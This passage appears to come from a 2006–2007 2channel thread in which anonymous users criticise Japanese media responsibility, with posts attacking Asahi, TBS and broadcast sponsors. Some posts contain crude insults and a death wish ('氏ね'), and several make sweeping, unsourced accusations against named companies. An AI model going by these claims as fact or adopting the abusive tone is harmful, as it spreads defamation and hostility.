文責・名無しさん:2006/10/22(日) 15:22:40 ID:hIU9BC3R
責任か・・・
朝日新聞は全日本国民に大して謝罪と賠償を払う必要があるんじゃないの?
それだけのことをしてるよね?w
383 :
文責・名無しさん:2006/11/14(火) 07:45:26 ID:2Y5Wk1iG
384 :
文責・名無しさん:2006/11/14(火) 07:59:47 ID:dS5zuBNI
「マスコミは責任を取る」と言っている時点で、スレ主の知的レベルが推し量られる、、、
385 :
文責・名無しさん:2006/11/14(火) 09:48:48 ID:kXcjfcK9
____ 、ミ川川川彡
/:::::::::::::::::::::::::""'''-ミ 彡
//, -‐―、:::::::::::::::::::::三 ギ そ 三
___ 巛/ \::::::::::::::::三. ャ れ 三
_-=三三三ミミ、.//! l、:::::::::::::三 グ は 三
==三= ̄ 《|ll|ニヽ l∠三,,`\\::三 で 三
/ |||"''》 ''"└┴‐` `ヽ三 言 ひ 三
! | / 三 っ ょ 三
|‐-、:::、∠三"` | ヽ= U 三. て っ 三
|"''》 ''"└┴` | ゝ―- 三 る と 三
| / ヽ "" ,. 三 の し 三
| ヽ= 、 U lヽ、___,,,...-‐''" 三 か て 三
. | ゝ―-'′ | |::::::::::::_,,,...-‐'"三 !? 三
ヽ "" ,. | | ̄ ̄ ̄ 彡 ミ
ヽ、___,,,...-‐''" ,,..-'''~ 彡川川川ミ
厂| 厂‐'''~ 〇
| ̄\| /
386 :
文責・名無しさん:2006/11/25(土) 20:59:57 ID:4kTTMiY3
最近、責任取らずに逃走するblog多いよな
387 :
文責・名無しさん:2006/11/25(土) 23:22:50 ID:mIKMMPcK
ところで民放連におかれましては、
アイフル事件の検証ならびにこれまで広告を流してきた責任と
他のサラ金業者に問題がないかの検証、
この先のサラ金CMの取り扱いについての議論を行う
第三者を含めた委員会などの設置はどうなっておられるのか回答されたし。
とくに昨年12/15、今年の01/13、01/19、03/17、03/30の最高裁判決を
報道しなかった件について、サラ金業界・広告業界などから報道するななどの働きかけや
広告を引き上げるぞなどという脅し・恫喝などがなかったかどうかの検証とその結果の公表を
ヨロシクお願いいたします。
金融庁:貸金業に関する主な最高裁判決(PDF:132K)
ttp://www.fsa.go.jp/singi/singi_kasikin/siryou/20060407/04.pdf
388 :
文責・名無しさん:2006/11/25(土) 23:52:52 ID:aHZiY1Kx
日本のマスコミは、所詮サラリーマンのジャーナリストごっこ。
ジャーナリストとしての責任なんて、会社の都合の前では屁みたいなモン。
護送船団として保護された業界で高給貰えるんだから当然だけどね。
389 :
文責・名無しさん:2006/11/26(日) 00:03:42 ID:/MEEkXTb
>386
マスコミ御用達の文化人とかマスコミ関係者のBlogが多いけどね
390 :
文責・名無しさん:2006/12/19(火) 17:55:55 ID:DuqdUbQ5
391 :
文責・名無しさん:2006/12/19(火) 18:23:59 ID:reRkhDSK
昔情報公開というのは、左翼が好んで使う用語だった。
今はどうかな。よう使わんの違うか。情報隠蔽がすっかり
左翼の体質になってしまったからな。
学生には、どのように報道するか、ではなく、「何を報道
しないか」をしっかり見極めること、と教えている。
392 :
文責・名無しさん:2006/12/19(火) 18:38:06 ID:ozrmJm6G
王様情報求む
394 :
文責・名無しさん:2006/12/19(火) 22:02:08 ID:41wWocYJ
2ちゃんねらーは匿名だが
新聞に匿名で投稿した場合も同様だ
では新聞に普段から文責名を入れない記者は匿名ではないのか?
結局新聞・雑誌で記事を書く奴は
2ちゃんねらーと同じレベルだと思う
395 :
文責・名無しさん:2006/12/19(火) 23:40:37 ID:XobHSuGT
TBS、坂本弁護士一家を殺しといて責任とっていないじゃない?
放送を辞めろよ。
396 :
文責・名無しさん:2006/12/20(水) 00:49:20 ID:ucm99Wvl
あ
397 :
文責・名無しさん:2006/12/20(水) 00:51:45 ID:sRpaJgTf
>>1 大東亜共栄圏を吹き込んだ
対米開戦を煽った
震災で朝鮮人虐殺を煽った
北朝鮮は地上の楽園と煽った
フランスの核実験は抗議、北朝鮮の核実験はスルー
NHK番組への介入についてでっちあげ
靖国問題を煽った
398 :
文責・名無しさん:2006/12/20(水) 01:22:06 ID:NTXv+55t
報道ステーションの悪徳スポンサー
日興コーディアル ← 利益を不正に水増しし市場から500億円の資金を調達
カシオ
通販生活
JT
パイロット
KIRIN
ビックカメラ
エーザイ
宝くじ
関西アーバン銀行
サントリー
ソフトバンク
日産
399 :
文責・名無しさん:2006/12/20(水) 01:24:22 ID:oY4s7F1+
あ
400 :
文責・名無しさん:2006/12/24(日) 17:01:00 ID:rM9trkhL
マスコミが他に求めるだけの責任を自らに課してたら
もうほとんど潰れてるよ
401 :
文責・名無しさん:2006/12/25(月) 00:39:22 ID:U10ENkL/
つまり無責任ってことだね!
折角
>>393で大口叩いたのにな。
盛り上がっちゃいねーや。
404 :
2chは金儲けをしない:2007/01/10(水) 22:55:38 ID:J0O8yqDU
人間のクズのマスゴミが何を偉そうに(笑
おまえらは、雲仙普賢岳の火砕流の時に避難した家に土足で上がりこんで電気を盗み、警戒区域から出るよう要請した警察の言葉を無視して消防団員や警察官を巻き添えに殺したクズの仲間だろ?
阪神大震災の時に、建物の下敷きになって、助けを求める声をヘリコプター見物の騒音でかき消したクズや、まだ煙の立っている現場に降り立ち、被災者のそこには無くなった方がいるので踏ま
ないでくださいとの声を無視して「まるで温泉地にきたみたいですね」といいはなったクズの仲間だろ?
日航123便の事故の時に、より悲惨な死体を求めて駆け回り、お棺をまたぎ、あまつさえ、棺のふたを開けて中を撮影しようとしたクズの仲間だろ?
新潟地震では、山古志村に入り込み、被災者に混じって救助され、おまけに救援物資ののパンを我先に食い散らかしたクズの仲間だろ?
松本サリン事件の時なんて、あれほど無実の人を犯人扱いしたのに、真相が明らかになったら、すべて警察の所為。アレで責任をとってやめたマスゴミの人間なんて一人もいない。
戦前は戦争翼賛で、人々を死地に送り込み、戦後は一転して、共産主義におもねり、文化大革命翼賛。
戦後の混乱の中で、闇市でものを買わずに餓死した裁判官はいたが、マスゴミの人間でそのように清廉潔白な人間は一人もいない。
人殺しはする、酒飲み運転はする、少女買春はする、脱税はする、放火はする、詐欺はする、痴漢はする、泥棒はする。
捏造記事なんて星の数ほど。
再販制度を批判するくせに、自分たちの再販制度はしっかり維持を主張する。
そ う い う ク ズ ど も の 何 が 「良 貨」 だ (笑
失 せ ろ ウ ジ 虫 !
405 :
文責・名無しさん:2007/01/10(水) 23:12:17 ID:rsWPWocj
つーかマスゴミの基地外工作員の相手する意味なくね?とりあえず氏ねで充分です
406 :
文責・名無しさん:
マスコミは商売、金儲けに責任あり。
2ちゃん=無償で市民が自由に参加するコミニティ
責任は参加者各人の問題。
朝日と2ちゃんは無くならない。